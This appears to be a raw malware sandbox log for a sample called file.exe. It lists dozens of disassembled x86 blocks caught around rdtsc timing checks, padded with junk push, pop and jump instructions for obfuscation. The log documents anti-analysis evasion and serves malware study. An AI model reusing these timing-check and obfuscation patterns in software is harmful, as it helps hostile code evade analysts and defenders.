Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C09F9 second address: 55C0A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 7Fh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007FE6C4735524h 0x00000011 nop 0x00000012 jmp 00007FE6C4735520h 0x00000017 push eax 0x00000018 jmp 00007FE6C473551Bh 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0A3D second address: 55C0A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0A41 second address: 55C0A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0A47 second address: 55C0A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0A4C second address: 55C0A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, ah 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE6C473551Ah 0x00000015 or esi, 0B1824B8h 0x0000001b jmp 00007FE6C473551Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0A7A second address: 55C0A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0ACB second address: 55C0AF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C473551Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0AF9 second address: 55C0AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0AFF second address: 55C0B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0B03 second address: 55C0B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C01B5 second address: 55C01FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, D5h 0x0000000d movsx edx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FE6C473551Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE6C4735525h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C01FE second address: 55C0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop esi 0x00000009 mov bh, 83h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0225 second address: 55C025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735523h 0x0000000a adc ecx, 7F63AB8Eh 0x00000010 jmp 00007FE6C4735529h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C025E second address: 55C030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push FFFFFFFEh 0x00000010 jmp 00007FE6C5005F8Bh 0x00000015 call 00007FE6C5005F89h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE6C5005F94h 0x00000021 adc ax, 2398h 0x00000026 jmp 00007FE6C5005F8Bh 0x0000002b popfd 0x0000002c mov edi, ecx 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FE6C5005F8Eh 0x00000039 and esi, 56654DF8h 0x0000003f jmp 00007FE6C5005F8Bh 0x00000044 popfd 0x00000045 pushfd 0x00000046 jmp 00007FE6C5005F98h 0x0000004b sbb ax, 2858h 0x00000050 jmp 00007FE6C5005F8Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C030E second address: 55C0314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0314 second address: 55C0318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0318 second address: 55C031C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C031C second address: 55C0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE6C5005F93h 0x00000015 or ecx, 68B6ABCEh 0x0000001b jmp 00007FE6C5005F99h 0x00000020 popfd 0x00000021 call 00007FE6C5005F90h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0371 second address: 55C0377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C046C second address: 55C0470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0470 second address: 55C0476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0476 second address: 55C047C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C047C second address: 55C048F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C048F second address: 55C04C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a pushad 0x0000000b mov cl, 15h 0x0000000d call 00007FE6C5005F91h 0x00000012 pop eax 0x00000013 popad 0x00000014 push ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE6C5005F8Fh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C04C1 second address: 55C04D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735524h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C04D9 second address: 55C04DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C04DD second address: 55C0508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007FE6C4735527h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov dx, 3726h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0508 second address: 55C051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C051B second address: 55C051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C051F second address: 55C052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C052E second address: 55C0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0532 second address: 55C0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0538 second address: 55C053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C053E second address: 55C0542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0542 second address: 55C056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FE6C473551Eh 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FE6C473551Dh 0x00000017 pop esi 0x00000018 push edi 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C056E second address: 55C059B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE6C5005F8Ah 0x00000014 and cx, D8B8h 0x00000019 jmp 00007FE6C5005F8Bh 0x0000001e popfd 0x0000001f mov edi, esi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C059B second address: 55C061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735525h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d jmp 00007FE6C4735528h 0x00000012 popad 0x00000013 mov eax, dword ptr [769B4538h] 0x00000018 jmp 00007FE6C4735520h 0x0000001d xor dword ptr [ebp-08h], eax 0x00000020 pushad 0x00000021 mov ebx, esi 0x00000023 pushfd 0x00000024 jmp 00007FE6C473551Ah 0x00000029 jmp 00007FE6C4735525h 0x0000002e popfd 0x0000002f popad 0x00000030 xor eax, ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FE6C473551Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C061C second address: 55C0622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0622 second address: 55C0626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0626 second address: 55C0659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE6C5005F8Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0659 second address: 55C0680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C4735525h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0680 second address: 55C06C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop eax 0x00000009 jmp 00007FE6C5005F99h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE6C5005F8Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C06C9 second address: 55C06CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C06CF second address: 55C06D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C06D3 second address: 55C07A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FE6C4735520h 0x00000016 adc cx, C548h 0x0000001b jmp 00007FE6C473551Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 mov si, di 0x00000025 popad 0x00000026 mov dword ptr [ebp-18h], esp 0x00000029 pushad 0x0000002a mov al, bl 0x0000002c push eax 0x0000002d pushfd 0x0000002e jmp 00007FE6C4735529h 0x00000033 and cx, 9916h 0x00000038 jmp 00007FE6C4735521h 0x0000003d popfd 0x0000003e pop esi 0x0000003f popad 0x00000040 mov eax, dword ptr fs:[00000018h] 0x00000046 jmp 00007FE6C4735527h 0x0000004b mov ecx, dword ptr [eax+00000FDCh] 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007FE6C4735524h 0x00000058 and ecx, 0CCA6F98h 0x0000005e jmp 00007FE6C473551Bh 0x00000063 popfd 0x00000064 movzx esi, di 0x00000067 popad 0x00000068 test ecx, ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FE6C473551Eh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0163 second address: 55B01C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e mov di, ax 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FE6C5005F95h 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FE6C5005F8Eh 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE6C5005F97h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B01C9 second address: 55B020A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FE6C473551Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 push ecx 0x00000014 movsx edx, cx 0x00000017 pop ecx 0x00000018 mov di, AB8Ah 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B020A second address: 55B020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B020E second address: 55B0214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0214 second address: 55B021A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B021A second address: 55B021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B021E second address: 55B0239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0239 second address: 55B023D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B023D second address: 55B0243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0243 second address: 55B0266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735524h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov bx, 04EEh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0266 second address: 55B0275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B031B second address: 55B0380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C4735521h 0x00000009 and ecx, 3CA5E2A6h 0x0000000f jmp 00007FE6C4735521h 0x00000014 popfd 0x00000015 mov edx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub edi, edi 0x0000001c pushad 0x0000001d mov ch, bl 0x0000001f mov esi, 2E9206E1h 0x00000024 popad 0x00000025 inc ebx 0x00000026 jmp 00007FE6C473551Ch 0x0000002b test al, al 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE6C4735527h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0380 second address: 55B0398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0398 second address: 55B042B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FE6C4735749h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE6C4735524h 0x00000018 sbb eax, 22E7BF68h 0x0000001e jmp 00007FE6C473551Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FE6C4735528h 0x0000002a add esi, 729711C8h 0x00000030 jmp 00007FE6C473551Bh 0x00000035 popfd 0x00000036 popad 0x00000037 lea ecx, dword ptr [ebp-14h] 0x0000003a pushad 0x0000003b call 00007FE6C4735524h 0x00000040 mov ah, F5h 0x00000042 pop ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 call 00007FE6C473551Ah 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0457 second address: 55B0472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0472 second address: 55B0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0478 second address: 55B047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B047C second address: 55B04B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE6C4735526h 0x00000011 push eax 0x00000012 jmp 00007FE6C473551Bh 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B04B7 second address: 55B04D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B04FA second address: 55B0554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C4735521h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FE6C4735521h 0x0000000f add ch, FFFFFF86h 0x00000012 jmp 00007FE6C4735521h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test eax, eax 0x0000001d jmp 00007FE6C473551Eh 0x00000022 jg 00007FE735AE3459h 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov al, DEh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0554 second address: 55B0571 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 4C0F836Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a mov ebx, ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e js 00007FE6C5006000h 0x00000014 pushad 0x00000015 mov bh, 9Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 mov si, 1507h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0571 second address: 55B0594 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE6C473551Ch 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE6C473551Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0594 second address: 55B05ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F91h 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FE7363B3E74h 0x00000013 pushad 0x00000014 call 00007FE6C5005F98h 0x00000019 movzx eax, dx 0x0000001c pop ebx 0x0000001d call 00007FE6C5005F8Ch 0x00000022 mov si, 37C1h 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov cl, A0h 0x00000030 mov bh, CAh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B05ED second address: 55B0646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C4735523h 0x00000009 xor ax, C69Eh 0x0000000e jmp 00007FE6C4735529h 0x00000013 popfd 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 lea eax, dword ptr [ebp-2Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE6C4735529h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0646 second address: 55B0656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0656 second address: 55B066E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B066E second address: 55B0672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0672 second address: 55B068D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B068D second address: 55B0693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0693 second address: 55B0710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE6C473551Ch 0x00000010 sub eax, 1BEC07B8h 0x00000016 jmp 00007FE6C473551Bh 0x0000001b popfd 0x0000001c mov cx, 53EFh 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007FE6C4735522h 0x00000027 nop 0x00000028 jmp 00007FE6C4735520h 0x0000002d push eax 0x0000002e jmp 00007FE6C473551Bh 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push ebx 0x00000038 pop esi 0x00000039 call 00007FE6C4735527h 0x0000003e pop eax 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B075B second address: 55B0761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
